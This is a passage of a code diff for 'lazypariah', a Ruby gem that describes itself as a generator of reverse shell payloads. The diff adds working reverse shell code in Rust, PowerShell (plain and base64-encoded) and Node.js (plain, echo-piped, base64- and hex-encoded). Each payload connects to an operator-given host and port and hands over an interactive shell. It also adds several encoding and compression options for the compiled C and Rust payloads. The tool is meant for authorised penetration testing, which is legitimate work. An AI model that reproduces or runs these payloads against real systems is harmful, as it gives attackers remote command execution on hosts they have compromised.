when "c_binary_b64"
|
427
|
+
if b64_payload
|
428
|
+
# Base-64-encoded c_binary payload.
|
315
429
|
binary_payload_b64 = Base64.strict_encode64(binary_payload)
|
316
|
-
print_output(binary_payload_b64, url_encode
|
317
|
-
|
430
|
+
print_output(s: binary_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
431
|
+
elsif hex_payload
|
432
|
+
# Hex-encoded c_binary payload.
|
318
433
|
binary_payload_hex = binary_payload.unpack("H*")[0]
|
319
|
-
print_output(binary_payload_hex, new_line
|
320
|
-
|
434
|
+
print_output(s: binary_payload_hex, new_line: !arguments[:"no-new-line"])
|
435
|
+
elsif gzip_payload
|
436
|
+
# Zlib-compressed c_binary payload.
|
321
437
|
sio = StringIO.new()
|
322
438
|
sio.binmode()
|
323
439
|
gz = Zlib::GzipWriter.new(sio)
|
324
440
|
gz.write(binary_payload)
|
325
441
|
gz.close()
|
326
442
|
binary_payload_gzip = sio.string
|
327
|
-
print_output(binary_payload_gzip, new_line
|
328
|
-
|
443
|
+
print_output(s: binary_payload_gzip, new_line: false)
|
444
|
+
elsif gzip_b64_payload
|
445
|
+
# Zlib-compressed and base-64-encoded c_binary payload.
|
329
446
|
sio = StringIO.new()
|
330
447
|
sio.binmode()
|
331
448
|
gz = Zlib::GzipWriter.new(sio)
|
@@ -333,21 +450,26 @@ begin
|
|
333
450
|
gz.close()
|
334
451
|
binary_payload_gzip = sio.string
|
335
452
|
binary_payload_gzip_b64 = Base64.strict_encode64(binary_payload_gzip)
|
336
|
-
print_output(binary_payload_gzip_b64, url_encode
|
337
|
-
|
453
|
+
print_output(s: binary_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
454
|
+
elsif gzip_hex_payload
|
455
|
+
# Zlib-compressed and hex-encoded c_binary payload.
|
338
456
|
sio = StringIO.new()
|
339
457
|
sio.binmode()
|
340
458
|
gz = Zlib::GzipWriter.new(sio)
|
341
|
-
gz.write(binary_payload
|
459
|
+
gz.write(binary_payload)
|
342
460
|
gz.close()
|
343
461
|
binary_payload_gzip = sio.string
|
344
462
|
binary_payload_gzip_hex = binary_payload_gzip.unpack("H*")[0]
|
345
|
-
print_output(binary_payload_gzip_hex)
|
463
|
+
print_output(s: binary_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
|
464
|
+
else
|
465
|
+
# Standard c_binary payload.
|
466
|
+
print_output(s: binary_payload, new_line: false)
|
346
467
|
end
|
347
468
|
end
|
348
469
|
|
349
470
|
system("rm -r #{temp_dir}")
|
350
|
-
when "rust_binary"
|
471
|
+
when "rust_binary"
|
472
|
+
# Rust binary reverse shells (compiled on the fly).
|
351
473
|
code = "use std::net::TcpStream;use std::os::unix::io::{AsRawFd, FromRawFd};use std::process::{Command, Stdio};fn main() {let lhost: &str = \"#{ARGV[1]}\";let lport: &str = \"#{ARGV[2]}\";let tcp_stream = TcpStream::connect(format!(\"{}:{}\", lhost, lport)).unwrap();let fd = tcp_stream.as_raw_fd();Command::new(\"/bin/sh\").arg(\"-i\").stdin(unsafe {Stdio::from_raw_fd(fd)}).stdout(unsafe {Stdio::from_raw_fd(fd)}).stderr(unsafe {Stdio::from_raw_fd(fd)}).spawn().unwrap().wait().unwrap();}"
|
352
474
|
|
353
475
|
temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
|
@@ -357,24 +479,25 @@ begin
|
|
357
479
|
|
358
480
|
File.open(temp_dir+"/rs", "r") do |f|
|
359
481
|
binary_payload = f.read()
|
360
|
-
|
361
|
-
|
362
|
-
print_output(binary_payload, new_line=false)
|
363
|
-
when "rust_binary_b64"
|
482
|
+
if b64_payload
|
483
|
+
# Base-64-encoded rust_binary payload.
|
364
484
|
binary_payload_b64 = Base64.strict_encode64(binary_payload)
|
365
|
-
print_output(binary_payload_b64, url_encode
|
366
|
-
|
485
|
+
print_output(s: binary_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
486
|
+
elsif hex_payload
|
487
|
+
# Hex-encoded rust_binary payload.
|
367
488
|
binary_payload_hex = binary_payload.unpack("H*")[0]
|
368
|
-
print_output(binary_payload_hex, new_line
|
369
|
-
|
489
|
+
print_output(s: binary_payload_hex, new_line: !arguments[:"no-new-line"])
|
490
|
+
elsif gzip_payload
|
491
|
+
# Zlib-compressed rust_binary payload.
|
370
492
|
sio = StringIO.new()
|
371
493
|
sio.binmode()
|
372
494
|
gz = Zlib::GzipWriter.new(sio)
|
373
495
|
gz.write(binary_payload)
|
374
496
|
gz.close()
|
375
497
|
binary_payload_gzip = sio.string
|
376
|
-
print_output(binary_payload_gzip, new_line
|
377
|
-
|
498
|
+
print_output(s: binary_payload_gzip, new_line: false)
|
499
|
+
elsif gzip_b64_payload
|
500
|
+
# Zlib-compressed and base-64-encoded rust_binary payload.
|
378
501
|
sio = StringIO.new()
|
379
502
|
sio.binmode()
|
380
503
|
gz = Zlib::GzipWriter.new(sio)
|
@@ -382,20 +505,49 @@ begin
|
|
382
505
|
gz.close()
|
383
506
|
binary_payload_gzip = sio.string
|
384
507
|
binary_payload_gzip_b64 = Base64.strict_encode64(binary_payload_gzip)
|
385
|
-
print_output(binary_payload_gzip_b64, url_encode
|
386
|
-
|
508
|
+
print_output(s: binary_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
509
|
+
elsif gzip_hex_payload
|
510
|
+
# Zlib-compressed and hex-encoded rust_binary payload.
|
387
511
|
sio = StringIO.new()
|
388
512
|
sio.binmode()
|
389
513
|
gz = Zlib::GzipWriter.new(sio)
|
390
|
-
gz.write(binary_payload
|
514
|
+
gz.write(binary_payload)
|
391
515
|
gz.close()
|
392
516
|
binary_payload_gzip = sio.string
|
393
517
|
binary_payload_gzip_hex = binary_payload_gzip.unpack("H*")[0]
|
394
|
-
print_output(binary_payload_gzip_hex)
|
518
|
+
print_output(s: binary_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
|
519
|
+
else
|
520
|
+
# Standard rust_binary payload.
|
521
|
+
print_output(s: binary_payload, new_line: false)
|
395
522
|
end
|
396
523
|
end
|
397
524
|
|
398
525
|
system("rm -r #{temp_dir}")
|
526
|
+
when "powershell_c"
|
527
|
+
# Simple reverse shell in Powershell.
|
528
|
+
code = "$client = New-Object System.Net.Sockets.TCPClient('#{ARGV[1]}',#{ARGV[2]});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
529
|
+
command = "powershell -nop -c \"#{code}\""
|
530
|
+
print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
531
|
+
when "powershell_b64"
|
532
|
+
# Simple base64-encoded reverse shell in Powershell.
|
533
|
+
code = "$client = New-Object System.Net.Sockets.TCPClient('#{ARGV[1]}',#{ARGV[2]});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()".encode("utf-16le")
|
534
|
+
command = "powershell -e #{Base64.strict_encode64(code)}"
|
535
|
+
print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
536
|
+
when "nodejs"
|
537
|
+
code = "(function(){var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(#{ARGV[2]}, '#{ARGV[1]}', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"
|
538
|
+
print_output(s: code, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
539
|
+
when "nodejs_c"
|
540
|
+
code = "(function(){var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(#{ARGV[2]}, '#{ARGV[1]}', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"
|
541
|
+
command = "echo \"#{code}\" | node"
|
542
|
+
print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
543
|
+
when "nodejs_b64"
|
544
|
+
code = "(function(){var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(#{ARGV[2]}, '#{ARGV[1]}', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"
|
545
|
+
command = "echo #{Base64.strict_encode64(code)} | base64 -d | node"
|
546
|
+
print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
547
|
+
when "nodejs_hex"
|
548
|
+
code = "(function(){var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(#{ARGV[2]}, '#{ARGV[1]}', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();".unpack("H*")[0]
|
549
|
+
command = "echo #{code} | xxd -p -r - | node"
|
550
|
+
print_output(s: command, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
399
551
|
end
|
400
552
|
end
|
401
553
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: lazypariah
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.
|
4
|
+
version: 1.6.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Peter Funnell
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date:
|
11
|
+
date: 2022-01-11 00:00:00.000000000 Z
|
12
12
|
dependencies: []
|
13
13
|
description: LAZYPARIAH is a simple tool for generating a range of reverse shell payloads
|
14
14
|
on the fly. It is intended to be used only in authorised circumstances by qualified
|